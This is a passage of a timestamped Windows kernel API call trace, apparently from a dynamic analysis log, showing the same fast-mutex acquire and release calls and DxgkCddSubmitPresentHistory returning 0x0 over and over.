returned 0x0 [0293.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0293.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0293.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0293.909] DxgkCddSubmitPresentHistory () returned 0x0 [0293.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0293.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0293.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0293.972] DxgkCddSubmitPresentHistory () returned 0x0 [0294.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0294.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.035] DxgkCddSubmitPresentHistory () returned 0x0 [0294.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0294.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.128] DxgkCddSubmitPresentHistory () returned 0x0 [0294.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0294.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.191] DxgkCddSubmitPresentHistory () returned 0x0 [0295.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.426] DxgkCddSubmitPresentHistory () returned 0x0 [0295.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.474] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.474] DxgkCddSubmitPresentHistory () returned 0x0 [0295.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.535] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.536] DxgkCddSubmitPresentHistory () returned 0x0 [0295.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.598] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.598] DxgkCddSubmitPresentHistory () returned 0x0 [0295.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.660] DxgkCddSubmitPresentHistory () returned 0x0 [0295.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.723] DxgkCddSubmitPresentHistory () returned 0x0 [0295.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.785] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.785] DxgkCddSubmitPresentHistory () returned 0x0 [0295.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.847] DxgkCddSubmitPresentHistory () returned 0x0 [0295.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.926] DxgkCddSubmitPresentHistory () returned 0x0 [0295.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0295.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.972] DxgkCddSubmitPresentHistory () returned 0x0 [0296.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.035] DxgkCddSubmitPresentHistory () returned 0x0 [0296.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.097] DxgkCddSubmitPresentHistory () returned 0x0 [0296.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.160] DxgkCddSubmitPresentHistory () returned 0x0 [0296.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.222] DxgkCddSubmitPresentHistory () returned 0x0 [0296.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.285] DxgkCddSubmitPresentHistory () returned 0x0 [0296.366] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.366] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.366] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.366] DxgkCddSubmitPresentHistory () returned 0x0 [0296.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0296.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.425] DxgkCddSubmitPresentHistory () returned 0x0 [0297.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.159] DxgkCddSubmitPresentHistory () returned 0x0 [0297.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.222] DxgkCddSubmitPresentHistory () returned 0x0 [0297.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.285] DxgkCddSubmitPresentHistory () returned 0x0 [0297.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.318] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.318] DxgkCddSubmitPresentHistory () returned 0x0 [0297.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.348] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.348] DxgkCddSubmitPresentHistory () returned 0x0 [0297.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0297.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.409] DxgkCddSubmitPresentHistory () returned 0x0 [0300.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.129] DxgkCddSubmitPresentHistory () returned 0x0 [0300.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.473] DxgkCddSubmitPresentHistory () returned 0x0 [0300.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.520] DxgkCddSubmitPresentHistory () returned 0x0 [0300.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.598] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0300.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.598] DxgkCddSubmitPresentHistory () returned 0x0 [0300.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.598] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.599] DxgkCddSubmitPresentHistory () returned 0x0 [0300.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.629] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0300.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.629] DxgkCddSubmitPresentHistory () returned 0x0 [0300.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.660] DxgkCddSubmitPresentHistory () returned 0x0 [0300.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.707] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.707] DxgkCddSubmitPresentHistory () returned 0x0 [0300.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.769] DxgkCddSubmitPresentHistory () returned 0x0 [0300.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.832] DxgkCddSubmitPresentHistory () returned 0x0 [0300.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.894] DxgkCddSubmitPresentHistory () returned 0x0 [0300.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0300.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.956] DxgkCddSubmitPresentHistory () returned 0x0 [0301.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.019] DxgkCddSubmitPresentHistory () returned 0x0 [0301.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.081] DxgkCddSubmitPresentHistory () returned 0x0 [0301.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.160] DxgkCddSubmitPresentHistory () returned 0x0 [0301.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.222] DxgkCddSubmitPresentHistory () returned 0x0 [0301.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.285] DxgkCddSubmitPresentHistory () returned 0x0 [0301.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.332] DxgkCddSubmitPresentHistory () returned 0x0 [0301.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.394] DxgkCddSubmitPresentHistory () returned 0x0 [0301.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0301.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.457] DxgkCddSubmitPresentHistory () returned 0x0 [0303.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.426] DxgkCddSubmitPresentHistory () returned 0x0 [0303.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.488] DxgkCddSubmitPresentHistory () returned 0x0 [0303.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.566] DxgkCddSubmitPresentHistory () returned 0x0 [0303.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.613] DxgkCddSubmitPresentHistory () returned 0x0 [0303.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.692] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.692] DxgkCddSubmitPresentHistory () returned 0x0 [0303.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.941] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.941] DxgkCddSubmitPresentHistory () returned 0x0 [0303.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0303.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.957] DxgkCddSubmitPresentHistory () returned 0x0 [0304.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0304.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.035] DxgkCddSubmitPresentHistory () returned 0x0 [0304.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.082] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0304.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.082] DxgkCddSubmitPresentHistory () returned 0x0 [0304.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0304.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.145] DxgkCddSubmitPresentHistory () returned 0x0 [0304.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0304.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.207] DxgkCddSubmitPresentHistory () returned 0x0 [0306.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.035] DxgkCddSubmitPresentHistory () returned 0x0 [0306.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.082] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.082] DxgkCddSubmitPresentHistory () returned 0x0 [0306.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.144] DxgkCddSubmitPresentHistory () returned 0x0 [0306.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.207] DxgkCddSubmitPresentHistory () returned 0x0 [0306.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.269] DxgkCddSubmitPresentHistory () returned 0x0 [0306.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.332] DxgkCddSubmitPresentHistory () returned 0x0 [0306.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.395] DxgkCddSubmitPresentHistory () returned 0x0 [0306.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.457] DxgkCddSubmitPresentHistory () returned 0x0 [0306.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.535] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.535] DxgkCddSubmitPresentHistory () returned 0x0 [0306.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.606] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.606] DxgkCddSubmitPresentHistory () returned 0x0 [0306.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.628] DxgkCddSubmitPresentHistory () returned 0x0 [0306.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.910] DxgkCddSubmitPresentHistory () returned 0x0 [0306.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0306.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.973] DxgkCddSubmitPresentHistory () returned 0x0 [0307.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.019] DxgkCddSubmitPresentHistory () returned 0x0 [0307.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.082] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.082] DxgkCddSubmitPresentHistory () returned 0x0 [0307.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.144] DxgkCddSubmitPresentHistory () returned 0x0 [0307.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.207] DxgkCddSubmitPresentHistory () returned 0x0 [0307.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.285] DxgkCddSubmitPresentHistory () returned 0x0 [0307.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.348] DxgkCddSubmitPresentHistory () returned 0x0 [0307.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.394] DxgkCddSubmitPresentHistory () returned 0x0 [0307.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.457] 